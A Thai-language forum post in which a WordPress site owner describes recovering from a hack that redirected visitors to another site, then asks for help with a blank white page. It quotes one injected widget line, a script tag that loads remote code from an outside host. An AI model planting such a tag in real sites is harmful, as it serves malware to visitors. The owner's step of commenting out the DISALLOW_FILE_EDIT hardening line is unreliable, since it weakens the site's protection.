สวัสดีครับทุกๆท่าน
ตอนนี้ผมเปิดเว็ป Planforfit.com อยู่ ซึ่งก็ใช้งานอะไรได้ตามปกติ
แต่วันที่ 22 เว็ปโดนแฮค จากนั้นเอาโค๊ดกับข้อมูลที่ backup ไว้มาใช้ (ภาพ
http://bit.ly/1dmXNJf 
)
วันที่ 24 เจอปัญหาว่า พอเข้าเว็ปแล้วจะ redirect ไปที่ Shoppingfordress.com ซึ่งบางครั้งเปิดก็ไม่รี
เลยไปมัคร sucuri ให้เค้าเช็คเว็ปและลบ malware ให้ หลังจากลบเสร็จแล้ว ก็ยัง redirect ไปที่ Shoppingfordress.comอยู่
กลับไล่ดูอีกครั้งเจอว่าแฮคเกอร์ฝังโค๊ดเอาไว้ตรง widget มีสร้าง admin เอาไว้
Home<script src=http://a.c0594.com/?js=1></script></a>
(ภาพ
http://bit.ly/1IBfduA )
ก็ทำการลบออกไปทั้งหมด แต่ก็ยังไม่หาย
จากนั้น string locator ออกมา ในไฟล์ wp-config.php มันมีตัวนึงโผล่ขึ้นมา
define('DISALLOW_FILE_EDIT',true); ไป comment out ออก
sucuri เช็คอีกครั้ง จนสุดท้ายแล้ว ไม่ Redirect ไปหน้าอื่นแล้วครับ
แต่ดันมาเจอปัญหาคือ บางคนเข้าไปที่เว็ปแล้ว มันเป็นหน้าขาวๆ ไม่มีข้อมูลอะไรขึ้นมาเลยครับ
(ภาพ
http://bit.ly/1HlBZtQ )
เท่าที่ลองสังเกตุ
- เวลาเปิดผ่านมือถือ จะเจออากาาหน้าขาวๆ มากกว่าเปิดผ่าน destop
- เวลาเปิดช่วงคนเข้าเยอะ ( 2-5 ทุ่ม) จะเป็นบ่อย
ตอนนี้ไม่รู้จะแก้ยังไงแล้วครับ รบกวนขอคำแนะนำจากพี่ๆในนี้ครับ
ขอขอบคุณล่วงหน้าครับ
พัฒนาเว็บไซต์
